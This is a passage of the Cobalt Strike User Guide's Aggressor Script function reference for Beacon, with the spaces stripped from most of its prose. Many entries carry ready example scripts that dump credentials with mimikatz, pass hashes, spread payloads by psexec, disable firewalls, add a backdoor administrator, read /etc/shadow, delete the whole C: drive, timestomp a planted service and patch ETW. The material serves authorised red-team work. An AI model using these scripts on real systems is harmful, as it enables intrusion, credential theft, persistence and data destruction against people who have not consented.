AggressorScript/Functions item "Dump &Passwords" { binput($1, "logonpasswords"); blogonpasswords($1); } Injectintothespecifiedprocess beacon_command_register( "logonpasswords_inject", "Inject into a process and dump in-memory credentials with mimikatz", "Usage: logonpasswords_inject [pid] [arch]"); alias logonpasswords_inject { blogonpasswords($1, $2, $3); } bls TaskaBeacontolistfiles Variations bls($1, "folder"); OutputtheresultstotheBeaconconsole. bls($1, "folder", &callback); Routeresultstothespecifiedcallbackfunction. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-(optional)thefoldertolistfilesfor.Use"."forthecurrentfolder. $3-(optional)callbackfunctionwiththelsresults.Argumentstothecallbackare:$1=beacon ID,$2=thefolder,$3=results Example CobaltStrikeUserGuide www.fortra.com page:310

AggressorScript/Functions on beacon_initial { bls($1, "."); } bmimikatz AskBeacontorunamimikatzcommand. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandandargumentstorun.Supportsthesemicolon( ;)charactertoseparate multiplecommands $3-(optional)thePIDtoinjectthemimikatzcommandintoor$null $4-(optional)thearchitectureofthetargetPID(x86|x64)or$null $5-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Examples

Usage: coffee [pid] [arch]

alias coffee { if ($2 >= 0 && ($3 eq "x86" || $3 eq "x64")) { bmimikatz($1, "standard::coffee", $2, $3); } else { bmimikatz($1, "standard::coffee"); } } alias double_espresso { bmimikatz($1, "standard::coffee;standard::coffee"); } bmimikatz_small UseCobaltStrike's"smaller"internalbuildofMimikatztoexecuteamimikatzcommand. Arguments CobaltStrikeUserGuide www.fortra.com page:311

AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandandargumentstorun.Supportsthesemicolon( ;)charactertoseparate multiplecommands $3 -(optional)thePIDtoinjectthemimikatzcommandintoor$null $4 -(optional)thearchitectureofthetargetPID(x86|x64)or$null $5-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Note Thismimikatzbuildsupports:

  • kerberos::golden
  • lsadump::dcsync
  • sekurlsa::logonpasswords
  • sekurlsa::pth Alloftheotherstuffisremovedforsize.Use&bmimikatzifyouwanttobringthefullpowerof mimikatztosomeotheroffenseproblem. Example

Usage: logonpasswords_elevate [pid] [arch]

alias logonpasswords_elevate { if ($2 >= 0 && ($3 eq "x86" || $3 eq "x64")) { bmimikatz_small($1, "!sekurlsa::logonpasswords", $2, $3); } else { bmimikatz_small($1, "!sekurlsa::logonpasswords"); } } bmkdir AskBeacontomakeadirectory Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. CobaltStrikeUserGuide www.fortra.com page:312

AggressorScript/Functions $2-thefoldertocreate Example bmkdir($1, "you are owned"); bmode ChangethedatachannelforaDNSBeacon. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thedatachannel(e.g.,dns,dns6,ordns-txt) Example item "Mode DNS-TXT" { binput($1, "mode dns-txt"); bmode($1, "dns-txt"); } bmv AskBeacontomoveafileorfolder. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefileorfoldertomove $3-thedestination Example bmv($1, "evil.exe", "\\target\\C$\evil.exe"); bnet CobaltStrikeUserGuide www.fortra.com page:313

AggressorScript/Functions RunacommandfromBeacon'snetworkandhostenumerationtool. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandtorun. Type Description computers listshostsinadomain(groups) dclist listsdomaincontrollers domain showthecurrentdomain domain_controllers listdomaincontrollerhostsinadomain(groups) domain_trusts listsdomaintrusts group listsgroupsandusersingroups localgroup listslocalgroupsandusersinlocalgroups logons listsusersloggedontoahost sessions listssessionsonahost share listssharesonahost user listsusersanduserinformation time showtimeforahost view listshostsinadomain(browserservice) $3-thetargettorunthiscommandagainstor$null $4-theparametertothiscommand(e.g.,agroupname) $5-(optional)thePIDtoinjectthenetworkandhostenumerationtoolintoor$null $6-(optional)thearchitectureofthetargetPID(x86|x64)or$null $7-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap NOTE: ThedomaincommandexecutesaBOFusinginline_executeandwillnotspawnorinject intoaprocess CobaltStrikeUserGuide www.fortra.com page:314

AggressorScript/Functions Example Spawnatemporaryprocess

ladmins [target]

find the local admins for a target

alias ladmins { bnet($1, "localgroup", $2, "administrators"); } Injectintothespecifiedprocess

ladmins [pid] [arch] [target]

find the local admins for a target

alias ladmins { bnet($1, "localgroup", $4, "administrators", $2, $3); } bnote AssignanotetothespecifiedBeacon. Arguments $1-theidforthebeacontopostto $2-thenotecontent Example bnote($1, "foo"); bof_extract Thisfunctionextractstheexecutablecodefromthebeaconobjectfile. Arguments $1-Astringcontainingthebeaconobjectfile CobaltStrikeUserGuide www.fortra.com page:315

AggressorScript/Functions Example $handle = openf(script_resource("/object_file")); $data = readb($handle, -1); closef($handle); return bof_extract($data); bof_pack Packargumentsinawaythat'ssuitableforBOFAPIstounpack. Arguments $1-theidfortheBeacon(neededforunicodeconversions) $2-formatstringforthepackeddata ...-oneargumentperiteminourformatstring Note Thisfunctionpacksitsargumentsintoabinarystructureforusewith&beacon_inline_execute. TheformatstringoptionsherecorrespondtotheBeaconDataCAPIavailabletoBOFfiles.This APIhandlestransformationsonthedataandhintsasrequiredbyeachtypeitcanpack. Type Description Unpack With (C) b binarydata BeaconDataExtract i 4-byteinteger BeaconDataInt s 2-byteshortinteger BeaconDataShort z zero-terminated+encodedstring BeaconDataExtract Z zero-terminatedwide-charstring (wchar_t)BeaconDataExtract TheCobaltStrikedocumentationhasapagespecifictoBOFfiles.SeeBeacon Object Files on page 171. Seealso &beacon_inline_execute CobaltStrikeUserGuide www.fortra.com page:316

AggressorScript/Functions bpassthehash AskBeacontocreateatokenthatpassesthespecifiedhash.Thisisthepthcommandin Beacon.Itusesmimikatz.Thisfunctionrequiresadministratorprivileges. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thedomainoftheuser $3-theuser'susername $4-theuser'spasswordhash $5 -(optional)thePIDtoinjectthepthcommandintoor$null $6 -(optional)thearchitectureofthetargetPID(x86|x64)or$null Example Spawnatemporaryprocess bpassthehash($1, "CORP", "Administrator", "password_hash"); Injectintothespecifiedprocess bpassthehash($1, "CORP", "Administrator", "password_hash", 1234, "x64"); bpause AskBeacontopauseitsexecution.Thisisaone-offsleep. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-howlongtheBeaconshouldpauseexecutionfor(milliseconds) Example CobaltStrikeUserGuide www.fortra.com page:317

AggressorScript/Functions alias pause { bpause($1, int($2)); } bportscan AskBeacontorunitsportscanner. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargetstoscan(e.g.,192.168.12.0/24) $3-theportstoscan(e.g.,1-1024,6667) $4-thediscoverymethodtouse(arp|icmp|none) $5-themaxnumberofsocketstouse(e.g.,1024) $6 -(optional)thePIDtoinjecttheportscannerintoor$null $7 -(optional)thearchitectureofthetargetPID(x86|x64)or$null $8-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Example Spawnatemporaryprocess bportscan($1, "192.168.12.0/24", "1-1024,6667", "arp", 1024); Injectintothespecifiedprocess bportscan($1, "192.168.12.0/24", "1-1024,6667", "arp", 1024, 1234, "x64"); bpowerpick Spawnaprocess,injectUnmanagedPowerShell,andrunthespecifiedcommand. CobaltStrikeUserGuide www.fortra.com page:318

AggressorScript/Functions Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecmdletandarguments $3-(optional)ifspecified,powershell-importscriptisignoredandthisargumentistreatedas thedownloadcradletoprependtothecommand.EmptystringisOKheretoo,fornodownload cradle.Specify$nulltousethecurrentimportedPowerShellscript. $4-(optional)the"PATCHES:"argumentcanmodifyfunctionsinmemoryfortheprocess.Upto 4"patch-rule"rulescanbespecified(spacedelimited). $5-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap "patch-rule" syntax (comma delimited): [library],[function],[offset],[hex- patch-value] library -1-260characters function -1-256characters offset -0-65535(Theoffsetfromthestartoftheexecutablefunction) hex-patch-value-2-200hexcharacters(0-9,A-F).Lengthmustbeevennumber(hex pairs). Example

get the version of PowerShell available via Unmanaged PowerShell

alias powerver { bpowerpick($1, '$PSVersionTable.PSVersion'); } alias powerver2 { bpowerpick($1, '$PSVersionTable.PSVersion', '', 'PATCHES: ntdll.dll,EtwEventWrite,0,C300'); } bpowershell AskBeacontorunaPowerShellcmdlet Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. CobaltStrikeUserGuide www.fortra.com page:319

AggressorScript/Functions $2-thecmdletandarguments $3-(optional)ifspecified,powershell-importscriptisignoredandthisargumentistreatedas thedownloadcradletoprependtothecommand.EmptystringisOKheretoo,fornodownload cradle.Specify$nulltousethecurrentimportedPowerShellscript. $4-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Example

get the version of PowerShell...

alias powerver { bpowershell($1, '$PSVersionTable.PSVersion'); } bpowershell_import ImportaPowerShellscriptintoaBeacon Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thepathtothelocalfiletoimport Example

quickly run PowerUp

alias powerup { bpowershell_import($1, script_resource("PowerUp.ps1")); bpowershell($1, "Invoke-AllChecks"); } bpowershell_import_clear CleartheimportedPowerShellscriptfromaBeaconsession. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. CobaltStrikeUserGuide www.fortra.com page:320

AggressorScript/Functions Example alias powershell-clear { bpowershell_import_clear($1); } bppid SetaparentprocessforBeacon'schildprocesses Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theparentprocessID.Specify0toresettodefaultbehavior. Notes l Thecurrentsessionmusthaverightstoaccessthespecifiedparentprocess. l Attemptstospawnpost-exjobsunderparentprocessesinanotherdesktopsession mayfail.ThislimitationisduetohowBeaconlaunchesits"temporary"processesfor post-exploitationjobsandinjectscodeintothem. Example alias prepenv { btask($1, "Tasked Beacon to find explorer.exe and make it the PPID"); bps($1, { local('$pid $name $entry'); foreach $entry (split("\n", $2)) { ($name, $null, $pid) = split("\s+", $entry); if ($name eq "explorer.exe") { bppid($1, $pid); } } }); } bprintscreen AskBeacontotakeascreenshotviaPrintScrmethod. CobaltStrikeUserGuide www.fortra.com page:321

AggressorScript/Functions Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-(optional)thePIDtoinjectthescreenshottoolviaPrintScrmethodor$null. $3-(optional)thearchitectureofthetargetPID(x86|x64)or$null. Example Spawnatemporaryprocess item "&Printscreen" { binput($1, "printscreen"); bpintscreen($1); } Injectintothespecifiedprocess bprintscreen($1, 1234, "x64"); bps TaskaBeacontolistprocesses Variations bps($1); OutputtheresultstotheBeaconconsole. bps($1, &callback); Routeresultstothespecifiedcallbackfunction. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. CobaltStrikeUserGuide www.fortra.com page:322

AggressorScript/Functions $2-(optional)callbackfunctionwiththepsresults.Argumentstothecallbackare:$1=beacon ID,$2=results Example on beacon_initial { bps($1); } alias prepenv { btask($1, "Tasked Beacon to find explorer.exe and make it the PPID"); bps($1, { local('$pid $name $entry'); foreach $entry (split("\n", $2)) { ($name, $null, $pid) = split("\s+", $entry); if ($name eq "explorer.exe") { bppid($1, $pid); } } }); } bpsexec AskBeacontospawnapayloadonaremotehost.ThisfunctiongeneratesanArtifactKit executable,copiesittothetarget,andcreatesaservicetorunitandcleanitup. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargettospawnapayloadonto $3-thelistenertospawn $4-thesharetocopytheexecutableto $5-thearchitectureofthepayloadtogenerate/deliver(x86orx64) Example CobaltStrikeUserGuide www.fortra.com page:323

AggressorScript/Functions brev2self(); bloginuser($1, "CORP", "Administrator", "toor"); bpsexec($1, "172.16.48.3", "my listener", "ADMIN$"); bpsexec_command AskBeacontorunacommandonaremotehost.Thisfunctioncreatesaserviceontheremote host,startsit,andcleansitup. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargettorunthecommandon $3-thenameoftheservicetocreate $4-thecommandtorun. Example

disable the firewall on a remote target

beacon> shieldsdown [target]

alias shieldsdown { bpsexec_command($1, $2, "shieldsdn", "cmd.exe /c netsh advfirewall set allprofiles state off"); } bpsexec_psh REMOVED Removed in Cobalt Strike 4.0. Use &bjump with psexec_psh option. bpsinject InjectUnmanagedPowerShellintoaspecificprocessandrunthespecifiedcmdlet.Thiswilluse thecurrentimportedpowershellscript. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theprocesstoinjectthesessioninto CobaltStrikeUserGuide www.fortra.com page:324

AggressorScript/Functions $3-theprocessarchitecture(x86|x64) $4-thecmdlettorun $5-(optional)callbackfunctionwiththeresults.Argumentstothecallbackare:$1=beaconID, $2=results,$3=informationmap Example bpsinject($1, 1234, x64, "[System.Diagnostics.Process]::GetCurrentProcess()"); bpwd AskBeacontoprintitscurrentworkingdirectory Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example alias pwd { bpwd($1); } breg_query AskBeacontoqueryakeywithintheregistry. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thepathtothekey $3-x86|x64-whichviewoftheregistrytouse Example alias typedurls { breg_query($1, "HKCU\Software\Microsoft\Internet Explorer\TypedURLs", CobaltStrikeUserGuide www.fortra.com page:325

AggressorScript/Functions "x86"); } breg_queryv AskBeacontoqueryavaluewithinaregistrykey. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thepathtothekey $3-thenameofthevaluetoquery $4-x86|x64-whichviewoftheregistrytouse Example alias winver { breg_queryv($1, "HKLM\Software\Microsoft\Windows NT\CurrentVersion", "ProductName", "x86"); } bremote_exec AskBeacontorunacommandonaremotetarget. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theremoteexecutemethodtouse $3-theremotetarget $4-thecommandandargumentstorun Example

winrm [target] [command+args]

alias winrm-exec { CobaltStrikeUserGuide www.fortra.com page:326

AggressorScript/Functions bremote_exec($1, "winrm", $2, $3); { } Seealso &beacon_remote_exec_method_describe,&beacon_remote_exec_method_register,&beacon_ remote_exec_methods brev2self AskBeacontodropitscurrenttoken.ThiscallstheRevertToSelf()Win32API. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example alias rev2self { brev2self($1); } brm AskBeacontoremoveafileorfolder. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefileorfoldertoremove Example

nuke the system

brm($1, "c:\"); brportfwd AskBeacontosetupareverseportforward. CobaltStrikeUserGuide www.fortra.com page:327

AggressorScript/Functions Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theporttobindtoonthetarget $3-thehosttoforwardconnectionsto $4-theporttoforwardconnectionsto Example brportfwd($1, 80, "192.168.12.88", 80); brportfwd_local AskBeacontosetupareverseportforwardthatroutestothecurrentCobaltStrikeclient. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theporttobindtoonthetarget $3-thehosttoforwardconnectionsto $4-theporttoforwardconnectionsto Example brportfwd_local($1, 80, "192.168.12.88", 80); brportfwd_stop AskBeacontostopareverseportforward Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theportboundonthetarget CobaltStrikeUserGuide www.fortra.com page:328

AggressorScript/Functions Example brportfwd_stop($1, 80); brun AskBeacontorunacommand Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandandargumentstorun Note Thiscapabilityisasimplerversionofthe&beacon_execute_jobfunction.Thelatterfunctionis what&bpowershelland&bshellbuildon.Thisisa(slightly)moreOPSEC-safeoptiontorun commandsandreceiveoutputfromthem. Example alias w { brun($1, "whoami /all"); } brunas AskBeacontorunacommandasanotheruser. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thedomainoftheuser $3-theuser'susername $4-theuser'spassword $5-thecommandtorun CobaltStrikeUserGuide www.fortra.com page:329

AggressorScript/Functions Example brunas($1, "CORP", "Administrator", "toor", "notepad.exe"); brunasadmin REMOVED Removed in Cobalt Strike 4.0. Use &belevate_command with psexec_psh option. AskBeacontorunacommandinahigh-integritycontext(bypassesUAC). Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandanditsarguments. Notes ThiscommandusestheTokenDuplicationUACbypass.Thisbypasshasafewrequirements: l Yourusermustbealocaladmin l IfAlways Notifyisenabled,anexistinghighintegrityprocessmustberunninginthe currentdesktopsession. Example

disable the firewall

brunasadmin($1, "cmd.exe /C netsh advfirewall set allprofiles state off"); brunu AskBeacontorunaprocessunderanotherprocess. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDoftheparentprocess $3-thecommand+argumentstorun CobaltStrikeUserGuide www.fortra.com page:330

AggressorScript/Functions Example brunu($1, 1234, "notepad.exe"); bscreenshot AskBeacontotakeascreenshot. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-(optional)thePIDtoinjectthescreenshottoolor$null $3-(optional)thearchitectureofthetargetPID(x86|x64)or$null Example Spawnatemporaryprocess item "&Screenshot" { binput($1, "screenshot"); bscreenshot($1); } Injectintothespecifiedprocess bscreenshot($1, 1234, "x64"); bscreenwatch AskBeacontotakeperiodicscreenshots Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-(optional)thePIDtoinjectthescreenshottoolor$null CobaltStrikeUserGuide www.fortra.com page:331

AggressorScript/Functions $3-(optional)thearchitectureofthetargetPID(x86|x64)or$null Example Spawnatemporaryprocess item "&Screenwatch" { binput($1, "screenwatch"); bscreenwatch($1); } Injectintothespecifiedprocess bscreenwatch($1, 1234, "x64"); bsetenv AskBeacontosetanenvironmentvariable Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theenvironmentvariabletoset $3-thevaluetosettheenvironmentvariableto(specify$nulltounsetthevariable) Example alias tryit { bsetenv($1, "foo", "BAR!"); bshell($1, "echo %foo%"); } bshell AskBeacontorunacommandwithcmd.exe Arguments CobaltStrikeUserGuide www.fortra.com page:332

AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thecommandandargumentstorun Example alias adduser { bshell($1, "net user $2 B00gyW00gy1234! /ADD"); bshell($1, "net localgroup "Administrators" $2 /ADD"); } bshinject Injectshellcode(fromalocalfile)intoaspecificprocess Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDoftheprocesstoinjectinto $3-theprocessarchitecture(x86|x64) $4-thelocalfilewiththeshellcode Example bshinject($1, 1234, "x86", "/path/to/stuff.bin"); bshspawn Spawnshellcode(fromalocalfile)intoanotherprocess.ThisfunctionbenefitsfromBeacon's configurationtospawnpost-exploitationjobs(e.g.,spawnto,ppid,etc.) Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theprocessarchitecture(x86|x64) $3-thelocalfilewiththeshellcode CobaltStrikeUserGuide www.fortra.com page:333

AggressorScript/Functions Example bshspawn($1, "x86", "/path/to/stuff.bin"); bsleep AskBeacontochangeitsbeaconingintervalandjitterfactor. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thenumberofsecondsbetweenbeacons. $3-thejitterfactor[0-99] Example alias stealthy {

sleep for 1 hour with 30% jitter factor

bsleep($1, 60 * 60, 30); } bsleepu AskBeacontochangeitsbeaconingintervalandjitterfactor. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-beaconsleepperiodstring. Thebeaconsleepperiodstringtakestheformat:ud vh xm ys zj Were: wisthenumberofdays visthenumberofhours xisthenumberofminutes CobaltStrikeUserGuide www.fortra.com page:334

AggressorScript/Functions yisthenumberofseconds zisthejitterfactor[0-99] Example alias stealthy {

sleep for 2 days 13 hours 45 minutes 8 seconds with 30% jitter factor

bsleepu($1, "2d 13h 45m 8s 30j"); } bsocks StartaSOCKSproxyserverassociatedwithabeacon. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theporttobindto $3-SOCKSversion[SOCKS4|SOCKS5]Default:SOCKS4 ForSOCKS5only: $4-enable/disableNoAuthauthentication[enableNoAuth|disableNoAuth]Default: enableNoAuth $5-usernameforUser/Passwordauthentication[blank|username]Default:Blank $6-passwordforUser/Passwordauthentication[blank|password]Default:Blank $7-enablelogging[enableLogging|disableLogging]Default:disableLogging Example alias socksPorts { bsocks($1, 10401); bsocks($1, 10402, "SOCKS4"); bsocks($1, 10501, "SOCKS5"); bsocks($1, 10502, "SOCKS5" "enableNoAuth", "", "", "disableLogging"); bsocks($1, 10503, "SOCKS5" "enableNoAuth", "myname", CobaltStrikeUserGuide www.fortra.com page:335

AggressorScript/Functions "mypassword", "disableLogging"); bsocks($1, 10504, "SOCKS5" "disableNoAuth", "myname", "mypassword", "enableLogging"); } bsocks_stop StopSOCKSproxyserversassociatedwiththespecifiedBeacon. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example alias stopsocks { bsocks_stop($1); } bspawn AskBeacontospawnanewsession Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thelistenertotarget. $3-thearchitecturetospawnaprocessfor(defaultstocurrentbeaconarch) Example item "&Spawn" { openPayloadHelper(lambda({ binput($bids, "spawn x86 $1"); bspawn($bids, $1, "x86"); }, $bids => $1)); } bspawnas CobaltStrikeUserGuide www.fortra.com page:336

AggressorScript/Functions AskBeacontospawnasessionasanotheruser. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thedomainoftheuser $3-theuser'susername $4-theuser'spassword $5-thelistenertospawn Example bspawnas($1, "CORP", "Administrator", "toor", "my listener"); bspawnto ChangethedefaultprogramBeaconspawnstoinjectcapabilitiesinto. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thearchitecturewe'remodifyingthespawntosettingfor(x86,x64) $3-theprogramtospawn Notes Thevalueyouspecifyforspawntomustworkfromx86->x86,x86->x64,x64->x86,andx64->x86 contexts.Thisistricky.Followtheserulesandyou'llbeOK: 1.AlwaysspecifythefullpathtotheprogramyouwantBeacontospawnforitspost-exjobs. 2.Environmentvariables(e.g.,%windir%)areOKwithinthesepaths. 3.Donotspecify%windir%\system32orc:\windows\system32directly.Alwaysuse syswow64(x86)andsysnative(x64).Beaconwilladjustthesevaluestosystem32ifit's necessary. CobaltStrikeUserGuide www.fortra.com page:337

AggressorScript/Functions 4.Foranx86spawntovalue,youmustspecifyanx86program.Foranx64spawntovalue,you mustspecifyanx64program. Example

let's make everything lame.

on beacon_initial { binput($1, "prep session with new spawnto values."); bspawnto($1, "x86", "%windir%\syswow64\notepad.exe"); bspawnto($1, "x64", "%windir%\sysnative\notepad.exe"); } bspawnu AskBeacontospawnasessionunderanotherprocess. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theprocesstospawnthissessionunder $3-thelistenertospawn Example bspawnu($1, 1234, "my listener"); bspunnel SpawnandtunnelanagentthroughthisBeacon(viaatargetlocalhost-onlyreverseport forward) Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thehostofthecontroller $3-theportofthecontroller $4-afilewithposition-independentcodetoexecuteinatemporaryprocess. CobaltStrikeUserGuide www.fortra.com page:338

AggressorScript/Functions Example bspunnel($1, "127.0.0.1", 4444, script_resource("agent.bin")); bspunnel_local SpawnandtunnelanagentthroughthisBeacon(viaatargetlocalhost-onlyreverseport forward).Note:thisreverseportforwardtunneltraversesthroughtheBeaconchaintotheteam serverand,viatheteamserver,outthroughtherequestingCobaltStrikeclient. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thehostofthecontroller $3-theportofthecontroller $4-afilewithposition-independentcodetoexecuteinatemporaryprocess. Example bspunnel_local($1, "127.0.0.1", 4444, script_resource("agent.bin")); bssh AskBeacontospawnanSSHsession. Arguments $1-idforthebeacon.ThismaybeanarrayorasingleID. $2-IPaddressorhostnameofthetarget $3-port(e.g.,22) $4-username $5-password $6-(optional)thePIDtoinjecttheSSHclientintoor$null CobaltStrikeUserGuide www.fortra.com page:339

AggressorScript/Functions $7-(optional)thearchitectureofthetargetPID(x86|x64)or$null Example Spawnatemporaryprocess bssh($1, "172.16.20.128", 22, "root", "toor"); Injectintothespecifiedprocess bssh($1, "172.16.20.128", 22, "root", "toor", 1234, "x64"); bssh_key AskBeacontospawnanSSHsessionusingthedatafromakeyfile.Thekeyfileneedstobein thePEMformat.IfthefileisnotinthePEMformatthenmakeacopyofthefileandconvertthe copywiththefollowingcommand: /usr/bin/ssh-keygen -f [/path/to/copy] -e -m pem -p Arguments $1-idforthebeacon.ThismaybeanarrayorasingleID. $2-IPaddressorhostnameofthetarget $3-port(e.g.,22) $4-username $5-keydata(asastring) $6-(optional)thePIDtoinjecttheSSHclientintoor$null $7-(optional)thearchitectureofthetargetPID(x86|x64)or$null Example alias myssh { $pid = $2; $arch = $3; CobaltStrikeUserGuide www.fortra.com page:340

AggressorScript/Functions $handle = openf("/path/to/key.pem"); $keydata = readb($handle, -1); closef($handle); if ($pid >= 0 && ($arch eq "x86" || $arch eq "x64")) { bssh_key($1, "172.16.20.128", 22, "root", $keydata, $pid, $arch); } else { bssh_key($1, "172.16.20.128", 22, "root", $keydata); } }; bstage REMOVED This function is removed in Cobalt Strike 4.0. Use &beacon_stage_tcp or &beacon_stage_pipe to explicitly stage a payload. Use &beacon_link to link to it. bsteal_token AskBeacontostealatokenfromaprocess. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDtotakethetokenfrom Use: bsteal_token [pid] bsteal_token [pid] OpenProcessToken access mask suggested values: blank = default (TOKEN_ALL_ACCESS) 0 = TOKEN_ALL_ACCESS 11 = TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY (1+2+8) Access mask values: STANDARD_RIGHTS_REQUIRED . . . . : 983040 TOKEN_ASSIGN_PRIMARY . . . . . . : 1 TOKEN_DUPLICATE . . . . . . . . : 2 TOKEN_IMPERSONATE . . . . . . . : 4 TOKEN_QUERY . . . . . . . . . . : 8 TOKEN_QUERY_SOURCE . . . . . . . : 16 TOKEN_ADJUST_PRIVILEGES . . . . : 32 TOKEN_ADJUST_GROUPS . . . . . . : 64 TOKEN_ADJUST_DEFAULT . . . . . . : 128 TOKEN_ADJUST_SESSIONID . . . . . : 256 CobaltStrikeUserGuide www.fortra.com page:341

AggressorScript/Functions NOTE: 'OpenProcessTokenaccessmask'canbehelpfulforstealingtokensfromprocessesusing 'SYSTEM'userandyouhavethiserror:Couldnotopenprocesstoken:{pid}(5) Youcansetyourpreferreddefaultwith'.steal_token_access_mask'intheMalleableC2global options. Example alias steal_token { bsteal_token($1, int($2)); } bsudo AskBeacontorunacommandviasudo(SSHsessionsonly) Arguments $1-theidforthesession.ThismaybeanarrayorasingleID. $2-thepasswordforthecurrentuser $3-thecommandandargumentstorun Example

hashdump [password]

ssh_alias hashdump { bsudo($1, $2, "cat /etc/shadow"); } bsyscall_method AskBeacontochangeitssyscallmethod. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thesyscallmethod.Supportedmethodsare: CobaltStrikeUserGuide www.fortra.com page:342

AggressorScript/Functions None:UsethestandardWindowsAPIfunction. Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthefunction. NOTE: Ifthe$2argumentisempty,Beaconistaskedtoquerythecurrentlyusedsyscallmethod. Example alias syscall_method { bsyscall_method($1, $2); } btask ReportataskacknowledgementforaBeacon.Thistaskacknowledgementwillalsocontribute tothenarrativeinCobaltStrike'sActivityReportandSessionsReport. Arguments $1-theidforthebeacontopostto $2-thetexttopost $3-astringwithMITREATT&CKTacticIDs.UseacommaandaspacetospecifymultipleIDs inonestring. https://attack.mitre.org Example alias foo { btask($1, "User tasked beacon to foo", "T1015"); } btimestomp AskBeacontochangethefilemodified/accessed/createdtimestomatchanotherfile. Arguments CobaltStrikeUserGuide www.fortra.com page:343

AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thefiletoupdatetimestampvaluesfor $3-thefiletograbtimestampvaluesfrom Example alias persist { bcd($1, "c:\windows\system32"); bupload($1, script_resource("evil.exe")); btimestomp($1, "evil.exe", "cmd.exe"); bshell($1, 'sc create evil binpath= "c:\windows\system32\evil.exe"'); bshell($1, 'sc start evil'); } btoken_store_remove AskBeacontoremovespecificaccesstokensfromthestore. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thearrayoftokenIDstoremove. Example alias token-store_remove { btoken_store_remove($1, @(int($2))); } btoken_store_remove_all AskBeacontoremovealltokensfromthestore. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example CobaltStrikeUserGuide www.fortra.com page:344

AggressorScript/Functions alias token-store_remove_all { btoken_store_remove_all($1); } btoken_store_show AskBeacontoprintthetokenscurrentlyavailableinthetokenstore. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example alias token-store_show { btoken_store_show($1); } btoken_store_steal AskBeacontostealatokenandstoreitinthetokenstore. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thearrayofPIDstotakethetokensfrom. $3-theOpenProcessTokenaccessmask. Example alias token-store_steal { btoken_store_steal($1, @(int($2)), 11); } btoken_store_steal_and_use AskBeacontostealatoken,storeitandimmediatelyapplyittothebeacon. Arguments CobaltStrikeUserGuide www.fortra.com page:345

